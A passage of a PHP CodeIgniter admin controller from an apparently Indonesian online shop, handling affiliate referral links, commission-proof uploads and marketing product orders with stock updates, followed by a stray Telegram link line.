            $this->session->set_flashdata('message', 'Data affiliator berhasil diupdate!');
            redirect(base_url('admin/affiliator/detail/' . $affiliate_id));
        } catch (Exception $e) {
            $this->db->trans_rollback();

            $this->session->set_flashdata('message_type', 'error');
            $this->session->set_flashdata('message', $e->getMessage());
            redirect(base_url('admin/affiliator/detail/' . $affiliate_id));
        }
    }

    /**
     * Create new affiliate link
     */
    public function create_affiliate_link()
    {
        // Get form data
        $affiliator_id = $this->input->post('affiliator_id');
        $link_type = $this->input->post('link_type');
        $referral_code = $this->input->post('referral_code');

        // Validate required fields
        if (empty($affiliator_id) || empty($link_type) || empty($referral_code)) {
            echo json_encode([
                'success' => false,
                'message' => 'Data tidak lengkap',
                'affiliator_id' => $affiliator_id,
                'link_type' => $link_type,
                'referral_code' => $referral_code,
            ]);
            return;
        }

        $link_code = $this->generate_link_code($referral_code);

        // Prepare base data
        $data = [
            'affiliator_id' => $affiliator_id,
            'link_code' => $link_code,
            'link_type' => $link_type,
            'status' => 'active',
            'created_at' => date('Y-m-d H:i:s')
        ];

        // Build URL and additional data based on link type
        switch ($link_type) {
            case 'general':
                $data['title'] = $this->input->post('title') ?: 'Homepage Link';
                $data['description'] = $this->input->post('description');
                $data['intended_platform'] = $this->input->post('intended_platform');
                $data['full_url'] = base_url() . '?ref=' . $referral_code;
                break;

            case 'product_specific':
                $product_id = $this->input->post('product_id');
                $product_detail_id = $this->input->post('product_detail_id');
                $title = $this->input->post('title');

                if (empty($product_id) || empty($product_detail_id)) {
                    echo json_encode([
                        'success' => false,
                        'message' => 'Data produk tidak lengkap',
                    ]);
                    return;
                }

                // Get product slug/alias
                $product = $this->db->get_where('products', ['id_products' => $product_id])->row();
                if (!$product) {
                    echo json_encode([
                        'success' => false,
                        'message' => 'Produk tidak ditemukan'
                    ]);
                    return;
                }

                $product_slug = $product->alias ?: url_title($product->title, '-', true);

                $data['product_id'] = $product_id;
                $data['product_detail_id'] = $product_detail_id;
                $data['title'] = $title;
                $data['full_url'] = base_url('product/' . $product_slug . '?ref=' . $referral_code);
                break;

            case 'brand':
                $target_id = $this->input->post('target_id');
                $target_slug = $this->input->post('target_slug');
                $title = $this->input->post('title');

                if (empty($target_id) || empty($target_slug)) {
                    echo json_encode([
                        'success' => false,
                        'message' => 'Data brand tidak lengkap'
                    ]);
                    return;
                }

                $data['title'] = 'Brand: ' . $title;
                $data['description'] = 'Link ke semua produk brand ' . $title;
                $data['full_url'] = base_url('brand/' . $target_slug . '?ref=' . $referral_code);
                // Store brand_id in a custom field or use campaign_name
                $data['campaign_name'] = 'brand_' . $title;
                break;

            case 'category':
                $target_id = $this->input->post('target_id');
                $target_slug = $this->input->post('target_slug');
                $title = $this->input->post('title');

                if (empty($target_id) || empty($target_slug)) {
                    echo json_encode([
                        'success' => false,
                        'message' => 'Data kategori tidak lengkap'
                    ]);
                    return;
                }

                $data['title'] = 'Kategori: ' . $title;
                $data['description'] = 'Link ke semua produk kategori ' . $title;
                $data['full_url'] = base_url('category/' . $target_slug . '?ref=' . $referral_code);
                // Store category_id in campaign_name
                $data['campaign_name'] = 'category_' . $target_id;
                break;

            default:
                echo json_encode([
                    'success' => false,
                    'message' => 'Tipe link tidak valid'
                ]);
                return;
        }

        // Insert to database
        $this->db->insert('affiliator_links', $data);

        if ($this->db->affected_rows() > 0) {
            echo json_encode([
                'success' => true,
                'message' => 'Link berhasil ditambahkan',
                'link_id' => $this->db->insert_id()
            ]);
        } else {
            echo json_encode([
                'success' => false,
                'message' => 'Gagal menambahkan link'
            ]);
        }
    }

    /**
     * Update affiliate link
     */
    public function update_affiliate_link()
    {
        $link_id = $this->input->post('link_id');
        $referral_code = $this->input->post('referral_code');

        if (empty($link_id)) {
            echo json_encode([
                'success' => false,
                'message' => 'Link ID tidak ditemukan'
            ]);
            return;
        }

        // Check if link exists
        $existing_link = $this->db->get_where('affiliator_links', ['id' => $link_id])->row();
        if (!$existing_link) {
            echo json_encode([
                'success' => false,
                'message' => 'Link tidak ditemukan'
            ]);
            return;
        }

        $link_type = $this->input->post('link_type');
        $referral_code = $referral_code ?: $existing_link->link_code;

        // Prepare update data
        $data = [
            'updated_at' => date('Y-m-d H:i:s')
        ];

        // Update based on link type
        switch ($link_type) {
            case 'general':
                $data['title'] = $this->input->post('title') ?: 'Homepage Link';
                $data['description'] = $this->input->post('description');
                $data['intended_platform'] = $this->input->post('intended_platform');
                break;

            case 'product_specific':
                $product_id = $this->input->post('product_id');
                $product_detail_id = $this->input->post('product_detail_id');
                $title = $this->input->post('title');

                if (empty($product_id) || empty($product_detail_id)) {
                    echo json_encode([
                        'success' => false,
                        'message' => 'Data produk tidak lengkap',
                        'product_id' => $product_id,
                        'product_detail_id' => $product_detail_id,
                    ]);
                    return;
                }

                // Get product slug/alias
                $product = $this->db->get_where('products', ['id_products' => $product_id])->row();
                if (!$product) {
                    echo json_encode([
                        'success' => false,
                        'message' => 'Produk tidak ditemukan'
                    ]);
                    return;
                }

                $product_slug = $product->alias ?: url_title($product->title, '-', true);

                $data['product_id'] = $product_id;
                $data['product_detail_id'] = $product_detail_id;
                $data['title'] = $title;
                $data['full_url'] = base_url('product/' . $product_slug . '?ref=' . $referral_code);
                break;

            case 'brand':
                $target_id = $this->input->post('target_id');
                $target_slug = $this->input->post('target_slug');
                $title = $this->input->post('title');

                if (empty($target_id) || empty($target_slug)) {
                    echo json_encode([
                        'success' => false,
                        'message' => 'Data brand tidak lengkap'
                    ]);
                    return;
                }

                $data['title'] = 'Brand: ' . $title;
                $data['description'] = 'Link ke semua produk brand ' . $title;
                $data['full_url'] = base_url('brand/' . $target_slug . '?ref=' . $referral_code);
                $data['campaign_name'] = 'brand_' . $target_id;
                // Clear product-specific fields
                $data['product_id'] = null;
                $data['product_detail_id'] = null;
                break;

            case 'category':
                $target_id = $this->input->post('target_id');
                $target_slug = $this->input->post('target_slug');
                $title = $this->input->post('title');

                if (empty($target_id) || empty($target_slug)) {
                    echo json_encode([
                        'success' => false,
                        'message' => 'Data kategori tidak lengkap'
                    ]);
                    return;
                }

                $data['title'] = 'Kategori: ' . $title;
                $data['description'] = 'Link ke semua produk kategori ' . $title;
                $data['full_url'] = base_url('category/' . $target_slug . '?ref=' . $referral_code);
                $data['campaign_name'] = 'category_' . $target_id;
                // Clear product-specific fields
                $data['product_id'] = null;
                $data['product_detail_id'] = null;
                break;

            default:
                echo json_encode([
                    'success' => false,
                    'message' => 'Tipe link tidak valid'
                ]);
                return;
        }

        $this->db->where('id', $link_id);
        $this->db->update('affiliator_links', $data);

        if ($this->db->affected_rows() >= 0) {
            echo json_encode([
                'success' => true,
                'message' => 'Link berhasil diupdate'
            ]);
        } else {
            echo json_encode([
                'success' => false,
                'message' => 'Gagal mengupdate link'
            ]);
        }
    }

    /**
     * Get affiliate link detail with parsed data
     */
    public function get_affiliate_link($link_id)
    {
        $link = $this->db->get_where('affiliator_links', ['id' => $link_id])->row();

        if (!$link) {
            echo json_encode([
                'success' => false,
                'message' => 'Link tidak ditemukan'
            ]);
            return;
        }

        // Parse campaign_name to extract brand_id or category_id
        $parsed_link = (array) $link;

        if ($link->link_type === 'brand' && !empty($link->campaign_name)) {
            if (strpos($link->campaign_name, 'brand_') === 0) {
                // Extract brand name from campaign_name
                $brand_name = substr($link->campaign_name, 6);

                // Try to get brand_id from database
                $brand = $this->db->get_where('brands', ['brand' => $brand_name])->row();
                if ($brand) {
                    $parsed_link['brand_id'] = $brand->id_brands;
                    $parsed_link['brand_slug'] = $brand->alias;
                }
            }
        } elseif ($link->link_type === 'category' && !empty($link->campaign_name)) {
            if (strpos($link->campaign_name, 'category_') === 0) {
                // Extract category_id from campaign_name
                $category_id = substr($link->campaign_name, 9);
                $parsed_link['category_id'] = $category_id;

                // Try to get category slug from database
                $category = $this->db->get_where('categories', ['id_categories' => $category_id])->row();
                if ($category) {
                    $parsed_link['category_slug'] = $category->alias;
                }
            }
        }

        echo json_encode([
            'success' => true,
            'link' => $parsed_link
        ]);
    }

    /**
     * Delete affiliate link
     */
    public function delete_affiliate_link()
    {
        if (!$this->input->is_ajax_request()) {
            show_404();
        }

        $link_id = $this->input->post('link_id');

        if (empty($link_id)) {
            echo json_encode([
                'success' => false,
                'message' => 'Link ID tidak ditemukan'
            ]);
            return;
        }

        // Soft delete or hard delete?
        // Option 1: Hard delete
        $this->db->delete('affiliator_links', ['id' => $link_id]);

        // Option 2: Soft delete (set status to 'deleted' or 'expired')
        // $this->db->where('id', $link_id);
        // $this->db->update('affiliator_links', ['status' => 'expired', 'updated_at' => date('Y-m-d H:i:s')]);

        if ($this->db->affected_rows() > 0) {
            echo json_encode([
                'success' => true,
                'message' => 'Link berhasil dihapus'
            ]);
        } else {
            echo json_encode([
                'success' => false,
                'message' => 'Gagal menghapus link'
            ]);
        }
    }

    /**
     * Generate unique link code
     */
    private function generate_link_code($base_code)
    {
        // Generate a unique code based on base referral code + random string
        $random = strtoupper(substr(md5(uniqid(rand(), true)), 0, 4));
        $link_code = $base_code . '_' . $random;

        // Check if code already exists
        $exists = $this->db->get_where('affiliator_links', ['link_code' => $link_code])->num_rows();

        if ($exists > 0) {
            // Recursive call if code exists
            return $this->generate_link_code($base_code);
        }

        return $link_code;
    }

    public function upload_proof($id_affiliator)
    {
        $config['upload_path'] = './uploads/commision_proof/';
        $config['allowed_types'] = 'jpg|jpeg|png';
        $config['max_size'] = 1024; // Maksimal 1MB
        $config['encrypt_name'] = TRUE;

        if (!is_dir($config['upload_path'])) {
            mkdir($config['upload_path'], 0777, TRUE);
        }

        $this->load->library('upload', $config);

        if (!$this->upload->do_upload('proof')) {
            $response = [
                'status' => 'error',
                'message' => $this->upload->display_errors('', '')
            ];
            echo json_encode($response);
            return;
        }

        $upload_data = $this->upload->data();
        $file_name = $upload_data['file_name'];

        $this->db->trans_begin(); // Mulai transaksi database

        try {
            // Simpan ke database affiliator_commision
            $data = [
                'created' => date('Y-m-d H:i:s'),
                'id_affiliator' => $id_affiliator,
                'proof' => $file_name,
                'account_name' => $this->input->post('account_name'),
                'account_number' => $this->input->post('account_number'),
                'account_type' => $this->input->post('account_type'),
                'commission' => $this->input->post('commission'),
                'status' => $this->input->post('status') ?? 'pending'
            ];

            $this->db->insert('affiliator_commision', $data);

            // Reset field `commission` di tabel affiliator_register menjadi 0
            $this->db->where('id_daftar', $id_affiliator);
            $this->db->update('affiliator_register', ['komisi' => 0]);

            if ($this->db->trans_status() === FALSE) {
                throw new Exception('Database transaction failed.');
            }

            $this->db->trans_commit(); // Commit transaksi jika semua berhasil

            echo json_encode([
                'success' => true,
                'message' => 'Proof berhasil diupload dan komisi telah direset!',
                'data' => $data
            ]);
        } catch (Exception $e) {
            $this->db->trans_rollback(); // Rollback jika terjadi error

            echo json_encode([
                'success' => false,
                'message' => 'Gagal upload proof: ' . $e->getMessage()
            ]);
        }
    }

    public function send_product()
    {
        if ($this->input->server('REQUEST_METHOD') !== 'POST') {
            show_error('Method Not Allowed', 405);
        }

        $userdata = $this->session->userdata();
        $postData = $this->input->post();

        // Validate required inputs
        if (empty($postData['customer_id']) || empty($postData['product_id']) || empty($postData['product_detail_id'])) {
            $this->session->set_flashdata('message', 'Data produk atau customer tidak lengkap');
            $this->session->set_flashdata('message_type', 'error');
            redirect('admin/affiliate/detail/' . $postData['daftar_id']);
        }

        // Get customer data
        $customer = $this->db->get_where('customers', ['id_customers' => $postData['customer_id']])->row_array();
        if (!$customer) {
            $this->session->set_flashdata('message', 'Customer tidak ditemukan');
            $this->session->set_flashdata('message_type', 'error');
            redirect('admin/affiliate/detail/' . $postData['daftar_id']);
        }

        // Get product data - assuming you have a products table
        $product = $this->db->get_where('products', ['id_products' => $postData['product_id']])->row_array();
        if (!$product) {
            $this->session->set_flashdata('message', 'Produk tidak ditemukan');
            $this->session->set_flashdata('message_type', 'error');
            redirect('admin/affiliate/detail/' . $postData['daftar_id']);
        }

        // Get product detail data
        $product_detail = $this->db->get_where('product_details', ['id' => $postData['product_detail_id']])->row_array();
        if (!$product_detail) {
            $this->session->set_flashdata('message', 'Detail produk tidak ditemukan');
            $this->session->set_flashdata('message_type', 'error');
            redirect('admin/affiliate/detail/' . $postData['daftar_id']);
        }

        // Data untuk tabel orders
        $orderData = [
            'customer_id' => (int) $customer['id_customers'],
            'payment_status' => 0,
            'grand_total_amount' => 0,
            'total_amount' => 0,
            'payment_type' => 'bank transfer BCA',
            'recipient_name' => $customer['name'],
            'address' => !empty($customer['shipping_address']) ? $customer['shipping_address'] : '',
            'district' => !empty($customer['shipping_district']) ? $customer['shipping_district'] : '',
            'subdistrict' => !empty($customer['shipping_subdistrict']) ? $customer['shipping_subdistrict'] : '',
            'province' => !empty($customer['shipping_province']) ? $customer['shipping_province'] : '',
            'phone' => !empty($customer['shipping_phone']) ? $customer['shipping_phone'] : '',
            'email' => $customer['email'],
            'country' => 'Indonesia',
            'redeemed_voucher_code' => null,
            'redeemed_voucher_type' => null,
            'redeemed_voucher_value' => 0,
            'redeemed_voucher_amount' => 0,
            'shipping_fee' => 0,
            'created_by' => $userdata['name'],
            'source' => 'Marketing',
            'distribution_type' => 'Marketing',
            'distribution_department' => 'Marketing',
            'distribution_purpose' => 'Produk untuk Asmaradoor',
        ];

        // Mulai transaksi database
        $this->db->trans_start();

        // Insert ke tabel orders
        $this->db->insert('orders', $orderData);
        $orderId = $this->db->insert_id();


        // Prepare order detail data for single product
        $orderDetailData = [
            'orders_id' => $orderId,
            'item_id' => !empty($postData['product_detail_id']) ? $postData['product_detail_id'] : null,
            'product_id' => !empty($postData['product_id']) ? $postData['product_id'] : null,
            'item_name' => !empty($product['title']) ? $product['title'] : '', // Get name from products table
            'item_price' => !empty($product_detail['price']) ? (int) $product_detail['price'] : 0, // Get price from product_detail
            'quantity' => 1, // Set quantity to 1 as requested
            'subtotal' => 0, // Set subtotal to 0 as requested
            'sku' => !empty($product_detail['sku']) ? $product_detail['sku'] : '', // Get SKU from product_detail
            'attributes' => !empty($product_detail['attributes']) ? $product_detail['attributes'] : '', // Get attributes from product_detail
            'warehouse_id' => 1,
            'chosen_shipping_id' => 3, // Fixed value as requested
            'shipping_fee' => 0 // Fixed value as requested
        ];


        // Insert to orders_detail
        $insert_result = $this->db->insert('orders_detail', $orderDetailData);
        if ($insert_result) {
            log_message('error', 'Order Inserted Successfully: Order ID ' . $orderId);
        } else {
            log_message('error', 'Order Insert Failed: ' . print_r($this->db->error(), true));
        }
        // Update Stock logic remains the same
        if ($insert_result) {
            $this->db->select('id, stock');
            $this->db->where('id_product', $postData['product_id']);
            $this->db->where('id_product_detail', $postData['product_detail_id']);
            $this->db->where('warehouse_id', 1);
            $stock = $this->db->get('stock')->row();

            if ($stock) {
                $stock_id = $stock->id;
                $old_stock = $stock->stock; // Simpan stok sebelum perubahan

                // Update Stock
                $this->db->set('stock', 'stock - 1', false) // Use fixed quantity 1
                    ->where('id_product', $postData['product_id'])
                    ->where('id_product_detail', $postData['product_detail_id'])
                    ->where('warehouse_id', 1);
                $update_stock_result = $this->db->update('stock');

                if ($update_stock_result) {
                    // Ambil stok setelah perubahan
                    $this->db->select('stock');
                    $this->db->where('id', $stock_id);
                    $new_stock = $this->db->get('stock')->row()->stock;

                    // Insert stock movement
                    $movement_data = [
                        'stock_id' => $stock_id,
                        'type' => '-',
                        'stock_change' => 1, // Fixed quantity 1
                        'remark' => 'Sales Order No: ' . $orderId,
                        'total' => $new_stock,
                        'name' => 'System',
                        'datetime' => date('Y-m-d H:i:s')
                    ];
                    $insert_movement_result = $this->db->insert('stock_movement', $movement_data);

                    // Panggil log stok dengan stok sebelum dan sesudah perubahan
                    $this->log_m->log_stock_update(
                        $orderId,
                        $postData['product_detail_id'],
                        $product['name'],
                        $old_stock,
                        $new_stock,
                        base_url('admin/products/stock-product?tab=all'),
                        null,
                        'stock',
                        'orders'
                    );

                    if (!$insert_movement_result) {
                        log_message('error', 'Stock Movement Insert Failed: ' . print_r($this->db->error(), true));
                    }
                } else {
                    log_message('error', 'Stock Update Failed: ' . print_r($this->db->error(), true));
                }
            } else {
                log_message('error', 'Stock ID Not Found for Product: ' . $product['name']);
            }
        } else {
            $db_error = $this->db->error();
            log_message('error', 'Order Detail Insert Failed: ' . print_r($db_error, true));
        }

        // Selesaikan transaksi
        $this->db->trans_complete();

        if ($this->db->trans_status() === false) {
            $this->db->trans_rollback();

            $this->session->set_flashdata('message', 'Gagal menambahkan pesanan');
            $this->session->set_flashdata('message_type', 'error');

            // Redirect to affiliate page
            redirect('admin/affiliate/detail/' . $postData['daftar_id']);
        } else {
            $name = $this->session->userdata('name');
            $description = "Pesanan Baru telah ditambahkan dengan Order ID {$orderId}. Pesanan ini dibuat oleh {$name}.";

            $reference_url = base_url('admin/orders/manage-order?tab=pending');
            $log_id = $this->log_m->log_order_create($orderId, $description, $reference_url);
            $this->log_m->send_order_notifications('CREATE_ORDER', $log_id, $description);

            $this->session->set_flashdata('message', 'Berhasil menambah pesanan baru dengan ID: ' . $orderId);
            $this->session->set_flashdata('message_type', 'success');

            // Redirect to manage-order page
            redirect('admin/affiliate/detail/' . $postData['daftar_id']);
        }
    }
}

https://t.me/RX1948 - 2025